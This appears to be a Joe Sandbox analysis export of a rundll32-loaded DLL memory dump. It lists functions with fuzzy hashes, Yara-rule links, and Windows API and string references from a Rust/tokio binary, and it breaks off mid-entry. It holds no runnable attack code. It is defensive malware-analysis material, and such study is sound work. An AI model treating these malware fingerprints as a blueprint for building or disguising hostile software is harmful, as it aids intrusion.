Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8414acec4b62eea675878e2f4a90cb4d363e173a8acbc78d9152e7847c64cbf8
Instruction ID: 23668c6dba9581d7a512d14277aa2ba1558f51d24c136c7e4f2d49d482e4a26b
Opcode Fuzzy Hash: 8414acec4b62eea675878e2f4a90cb4d363e173a8acbc78d9152e7847c64cbf8
Instruction Fuzzy Hash: 9EA117B6E29BC14BD302963ED802265F794AFE7284F15D71FFDE072992EB2192818345

Function 6CB6E875 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c29346fcb9b1f61833ed9be5bcf8b2b3f7f64f4899cb67b886df52a553efc123
Instruction ID: 05f9645611385de265a34362583727cb6ae4ea08d6e845ba1b77a96f3d7e25db
Opcode Fuzzy Hash: c29346fcb9b1f61833ed9be5bcf8b2b3f7f64f4899cb67b886df52a553efc123
Instruction Fuzzy Hash: F6A19D3160C7869FC714CF19C49065AB7E2FF89358F14892EE8D98BB41D731E949CB92

Function 6CB7A64D Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78495fe8dbc9f0a951951d6de7cb2f2b58fa5ac5b4911d25759b41638177ee1f
Instruction ID: f5fe54089212749d2851504f5ed633e93668e4de2d4d7d30e3ec4db71889882b
Opcode Fuzzy Hash: 78495fe8dbc9f0a951951d6de7cb2f2b58fa5ac5b4911d25759b41638177ee1f
Instruction Fuzzy Hash: 4AA18D716083829FC754CF14C09055AFBE2FF88718F15995EE8A98B752D730D986CFA2

Function 6CB85E16 Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f42a675b156593e3b90c27f80e174efd7fbdb2be8e0add25d80da928f42a92b
Instruction ID: 6dbdd893aba0c282fe635bbd55b89ae572861a70bae61a2ce50177707edbe917
Opcode Fuzzy Hash: 7f42a675b156593e3b90c27f80e174efd7fbdb2be8e0add25d80da928f42a92b
Instruction Fuzzy Hash: 07914DB2A087169FD314CF65C48025AF7E2FFC8714F1ACA2DE9999B741C770E8458B81

Function 6CBEDFFE Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f799d2d396c46e5040fd647794c3548c9e38b584fe8b043af793c7269efee04
Instruction ID: e73871bffd639de2e5365dabf6ae39b73993cd673032af083f84634d49885207
Opcode Fuzzy Hash: 2f799d2d396c46e5040fd647794c3548c9e38b584fe8b043af793c7269efee04
Instruction Fuzzy Hash: 937124B2D042E58FCB04CFA988912EDFFF1AB49340F19426ED465AB392D3354545DBA1

Function 6CBF4CCF Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 520d09fb6862783d9bc66d8313f406b90f45e243b416ef1e995fe84f41f9c88d
Instruction ID: 94b8e6ed0aeea176729ef601105a5e61881d381717d03b51a97b53541034e11a
Opcode Fuzzy Hash: 520d09fb6862783d9bc66d8313f406b90f45e243b416ef1e995fe84f41f9c88d
Instruction Fuzzy Hash: A571EF76F087159BD308DE65C89035FF7E2EBC8710F1AC83DA899D7784DA7498419B82

Function 6CBF4898 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e5e75635102fd5c4cae7f7c8f902134db88453d4cb4e5063b7c947140e59f36
Instruction ID: 7b0bab0a2728e2e788ad4114dedfed26ace73fcb77e3535435a44fc7bb85f1b5
Opcode Fuzzy Hash: 9e5e75635102fd5c4cae7f7c8f902134db88453d4cb4e5063b7c947140e59f36
Instruction Fuzzy Hash: 5F5170B2F083194BE318EEB5D89035BF2D2EBC8710F0AC93DA999D7784E9B59C4456C1

Function 6CB7CF24 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99828d06bc808f93db10b0e30e0ebd7fc51d953f3c179bb59066ef1b3e1433ce
Instruction ID: ad06918a11f4e13099abac7b380a127f5e870e09815a6dd8ce93ce2fde514453
Opcode Fuzzy Hash: 99828d06bc808f93db10b0e30e0ebd7fc51d953f3c179bb59066ef1b3e1433ce
Instruction Fuzzy Hash: 20514D72E08B149BD318DE6AC89035FF3E2EFC8310F1AC93DE8D997654C675A8419B81

Function 6CB79D26 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50ca7786af505535b93f7ebbf5f372ed01d22d6b6347e7d5886ace9d1d2504c9
Instruction ID: 495b380decf1c941d47f5d722d62fbfbf032c4773202c2321501a1f1511f8f8d
Opcode Fuzzy Hash: 50ca7786af505535b93f7ebbf5f372ed01d22d6b6347e7d5886ace9d1d2504c9
Instruction Fuzzy Hash: E5516371B0931C4FE308ADB5DD903AFF2D2E7C8710F0A883DA999C7784E9B9994566C1

Function 6CC03CF4 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97c76fc4d81efcb39dec3207b4a4b37bcf4a361830466e7e062f4cc4ad3e4a54
Instruction ID: bacaf9beb700ad22f651e41332c45ac567d7edfb42a621cfd7af8bb4bb09fa8d
Opcode Fuzzy Hash: 97c76fc4d81efcb39dec3207b4a4b37bcf4a361830466e7e062f4cc4ad3e4a54
Instruction Fuzzy Hash: E941BC717083459FD314DF29C880B1AB7E2AF84704F18CA7DE9A98BB41F772D8508B91

Function 6CB8E3C7 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4578bf7dd7a27a99be1329181586de24e9d242d57d4295e2626a1427b3ab9f8a
Instruction ID: 44c97af10734db442fc5fc85577ed8657a16f6535cf7dbeee0d30882847229ee
Opcode Fuzzy Hash: 4578bf7dd7a27a99be1329181586de24e9d242d57d4295e2626a1427b3ab9f8a
Instruction Fuzzy Hash: 2E41BD367092558FC718DF28C88095EFBE6EBC8310F49452DE989D7B90EA30ED158B86

Function 6CB7D0F7 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb5f149559df01870d98d5e9657b75206c6bec5c6f44af08782f05dc6f8a30fd
Instruction ID: 64dd6185b2c49e817a2bd399398765e62515ea3247635f557b012fe0e399b82c
Opcode Fuzzy Hash: eb5f149559df01870d98d5e9657b75206c6bec5c6f44af08782f05dc6f8a30fd
Instruction Fuzzy Hash: D3318AB1A047479F8314CFA5D08044AFBA1BF88758B24C66ED9689F712D770ED82CBD1

Function 6CBFA508 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edc4726fabed8a1e9b3db10a541256135cecd8b7511b7ad6c67f1d0fe2f29e8c
Instruction ID: 5dd4e581c34df935605ab4aaad887ba755f49ff5a84ac5c143591831ad638eca
Opcode Fuzzy Hash: edc4726fabed8a1e9b3db10a541256135cecd8b7511b7ad6c67f1d0fe2f29e8c
Instruction Fuzzy Hash: D6213833B003245BCB15C978C8812A6B3D6DBC5664F168325DD75AF6D2EB319C8F86C0

Function 6CBF0130 Relevance: 42.5, APIs: 17, Strings: 7, Instructions: 452libraryloadersynchronizationCOMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CBF0227
GetCurrentDirectoryW.KERNEL32(00000000,00000002), ref: 6CBF0232
GetLastError.KERNEL32 ref: 6CBF023E
GetCurrentProcess.KERNEL32 ref: 6CBF046B
GetCurrentThread.KERNEL32 ref: 6CBF0473
memset.VCRUNTIME140(?,00000000,000002D0), ref: 6CBF048A
RtlCaptureContext.KERNEL32(?), ref: 6CBF0493

Part of subcall function 6CBEC9B0: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000), ref: 6CBEC9F0
Part of subcall function 6CBEC9B0: LoadLibraryA.KERNEL32(dbghelp.dll), ref: 6CBECA04
Part of subcall function 6CBEC9B0: GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6CBECA36
Part of subcall function 6CBEC9B0: GetProcAddress.KERNEL32(SymSetOptions), ref: 6CBECA64
Part of subcall function 6CBEC9B0: GetProcAddress.KERNEL32(SymInitializeW), ref: 6CBECA93
Part of subcall function 6CBEC9B0: GetCurrentProcess.KERNEL32 ref: 6CBECAB1
Part of subcall function 6CBEC9B0: memset.VCRUNTIME140(00000000,00000000,000007FE), ref: 6CBECB04

GetProcAddress.KERNEL32(SymFunctionTableAccess64), ref: 6CBF04C9
GetProcAddress.KERNEL32(SymGetModuleBase64), ref: 6CBF04F2
GetCurrentProcess.KERNEL32(SymGetModuleBase64), ref: 6CBF0506
GetProcAddress.KERNEL32(StackWalkEx), ref: 6CBF0528
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CBF054B
ReleaseMutex.KERNEL32(?), ref: 6CBF0651
memset.VCRUNTIME140(?,00000000,00000100,StackWalkEx), ref: 6CBF06DD
GetProcAddress.KERNEL32(StackWalk64), ref: 6CBF0784
GetLastError.KERNEL32 ref: 6CBF0253

Part of subcall function 6CB65AD0: RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

Strings

SymGetModuleBase64, xrefs: 6CBF04E7
stack backtrace:, xrefs: 6CBF03F0
StackWalkEx, xrefs: 6CBF051D
note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6CBF0678
internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs, xrefs: 6CBF0808
StackWalk64, xrefs: 6CBF0779
SymFunctionTableAccess64, xrefs: 6CBF04BE

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressProc$Current$memset$ErrorLastProcess$CaptureContextDirectoryFreeHeapLibraryLoadMutexObjectReleaseSingleThreadWait
String ID: StackWalk64$StackWalkEx$SymFunctionTableAccess64$SymGetModuleBase64$internal error: entered unreachable codeD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-1.42.0\src\runtime\blocking\schedule.rs$note: Some details are omitted, run with `RUST_BACKTRACE=full` for a verbose backtrace.__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]$stack backtrace:
API String ID: 3073563537-3001507533
Opcode ID: d43587c4eefa0dbfdd625d8f1c20cc47014c222f6479610eef6cc36f72e622c5
Instruction ID: db3522c98586501f7f5dcc17969f971463f3d44847e591d0c72c93c8cbaad467
Opcode Fuzzy Hash: d43587c4eefa0dbfdd625d8f1c20cc47014c222f6479610eef6cc36f72e622c5
Instruction Fuzzy Hash: 642245B0604B808FE3618F25C994793BBF5BF49308F104A1DD8EA87B91EB75B54ACB51

Function 6CBD87AB Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 429COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBD87FA

Part of subcall function 6CBE6A27: memmove.VCRUNTIME140(?,00000000,?,?,?,6CBD8843), ref: 6CBE6A5D

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBD8955
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBD8C1C

Part of subcall function 6CBE738F: CertDuplicateCertificateContext.CRYPT32(?), ref: 6CBE7390

memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBD8A75
FreeContextBuffer.SECUR32(?), ref: 6CBD8AB0
memmove.VCRUNTIME140(?,?,000000C0), ref: 6CBD8B32

Part of subcall function 6CBE72E6: CertDuplicateStore.CRYPT32(?), ref: 6CBE72E7

Part of subcall function 6CBD5A78: memmove.VCRUNTIME140(?,?,00000160,?,?,?,00000000,?,6CBD8BE8), ref: 6CBD5AA7

memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBD8C39
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBD8C9A
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBD8CB8
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBD8CE7
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBD8D04
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBD8D2E
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBD8D4C
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBD8D7B
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBD8D98

Strings

future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs, xrefs: 6CBD8DB5

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove$CertContextDuplicate$BufferCertificateFreeStore
String ID: future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs
API String ID: 3250603675-1242699868
Opcode ID: 887db2d703b551a230e607f0f4633c71f28cd52066e0595fd30ecad97281c919
Instruction ID: a4204fe2cdc1e0018e7fc82386f293d6c2f8751f0579c98d9e009df68b4ecfa2
Opcode Fuzzy Hash: 887db2d703b551a230e607f0f4633c71f28cd52066e0595fd30ecad97281c919
Instruction Fuzzy Hash: 70027DB1908381DFD754CF24C484B9ABBE4FF88315F04895EE8888B745E775E949CB92

Function 6CC04052 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 169libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,?,6CB96DA6,?,?,?,?,?,?,6CC03E7A), ref: 6CC0405E
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6CC04070
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6CC04081
GetModuleHandleA.KERNEL32(ntdll.dll,?,?,?,?,?,6CB96DA6,?,?,?,?,?,?,6CC03E7A), ref: 6CC04095
GetProcAddress.KERNEL32(00000000,NtCreateKeyedEvent), ref: 6CC040AB
GetProcAddress.KERNEL32(00000000,NtReleaseKeyedEvent), ref: 6CC040C0
GetProcAddress.KERNEL32(00000000,NtWaitForKeyedEvent), ref: 6CC040D1
CloseHandle.KERNEL32(?,?,C0000000,00000000,00000000,00000000,NtWaitForKeyedEvent,00000000,NtReleaseKeyedEvent,?,?,?,?,?,6CB96DA6), ref: 6CC04124

Strings

NtReleaseKeyedEvent, xrefs: 6CC040BA
WaitOnAddress, xrefs: 6CC0406A
NtWaitForKeyedEvent, xrefs: 6CC040CB
NtCreateKeyedEvent, xrefs: 6CC040A5
WakeByAddressSingle, xrefs: 6CC0407B
api-ms-win-core-synch-l1-2-0.dll, xrefs: 6CC04059
ntdll.dll, xrefs: 6CC04090

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressProc$Handle$Module$Close
String ID: NtCreateKeyedEvent$NtReleaseKeyedEvent$NtWaitForKeyedEvent$WaitOnAddress$WakeByAddressSingle$api-ms-win-core-synch-l1-2-0.dll$ntdll.dll
API String ID: 3875313662-3409541999
Opcode ID: 4c80171e6f670636bcba504ea96d7c796500e8ae1127825990c57f004ff816a6
Instruction ID: 69b5ce56d6ddd160577e47d010dfe196d4241f255799f958bc9bab419bcca7fc
Opcode Fuzzy Hash: 4c80171e6f670636bcba504ea96d7c796500e8ae1127825990c57f004ff816a6
Instruction Fuzzy Hash: C051F4717412209BEB118F26CC44B1776E4AFA536CF294128EA25DFA92FB73CC52C794

Function 6CBF0940 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 497libraryloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 6CBF09F5
GetProcAddress.KERNEL32(SymFromInlineContextW), ref: 6CBF0A15
GetProcAddress.KERNEL32(SymGetLineFromInlineContextW), ref: 6CBF0A44
GetProcAddress.KERNEL32(SymAddrIncludeInlineTrace), ref: 6CBF0A8D
GetProcAddress.KERNEL32(SymQueryInlineTrace), ref: 6CBF0AB8
memset.VCRUNTIME140(?,00000000,00000FF4), ref: 6CBF0C41
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000007CF,00000000,00000100,00000000,00000000), ref: 6CBF0D46

Strings

SymFromInlineContextW, xrefs: 6CBF0A0A
__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...], xrefs: 6CBF10AE
SymAddrIncludeInlineTrace, xrefs: 6CBF0A82
SymQueryInlineTrace, xrefs: 6CBF0AAD
SymGetLineFromInlineContextW, xrefs: 6CBF0A39

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressProc$ByteCharCurrentMultiProcessWidememset
String ID: SymAddrIncludeInlineTrace$SymFromInlineContextW$SymGetLineFromInlineContextW$SymQueryInlineTrace$__rust_begin_short_backtrace__rust_end_short_backtraces [... omitted frame ...]
API String ID: 3228588488-600644135
Opcode ID: 245e5309d1a1954a51d16815a3daa8dbb295954d8a66fd9a6672e0d9d4bf6ab6
Instruction ID: 5da6b16dc2e7ba4b5752a622db3db8b2bf8df99abd0bcc000be374a1151d641c
Opcode Fuzzy Hash: 245e5309d1a1954a51d16815a3daa8dbb295954d8a66fd9a6672e0d9d4bf6ab6
Instruction Fuzzy Hash: FD32E571900B808BE721CF25C985BA2B7F5FF99308F108A1DD9EA97B61D771B489CB50

Function 6CBDED96 Relevance: 19.7, APIs: 12, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,000000BC), ref: 6CBDEDCD
memmove.VCRUNTIME140(000000C4,?,0000009C), ref: 6CBDEDED

Part of subcall function 6CBD5A78: memmove.VCRUNTIME140(?,?,00000160,?,?,?,00000000,?,6CBD8BE8), ref: 6CBD5AA7

memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBDEE59
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBDEE76
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBDEEA9
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBDEEC7
memmove.VCRUNTIME140(?,?,000000B4), ref: 6CBDEEEA
memmove.VCRUNTIME140(?,?,0000009C), ref: 6CBDEF0E

Strings

future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs, xrefs: 6CBDEFB1

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: future polled after completionD:\rust\cargo\registry\src\index.crates.io-6f17d22bba15001f\tokio-native-tls-0.3.1\src\lib.rs
API String ID: 2162964266-1242699868
Opcode ID: e927299a1009ffc4687d4fe61751048c7c282e49961e304d0583ddc6afa39f35
Instruction ID: 733f2be3c9cdd290be172390d032fe3f2e13b73a8f3d621a20481069626b8c73
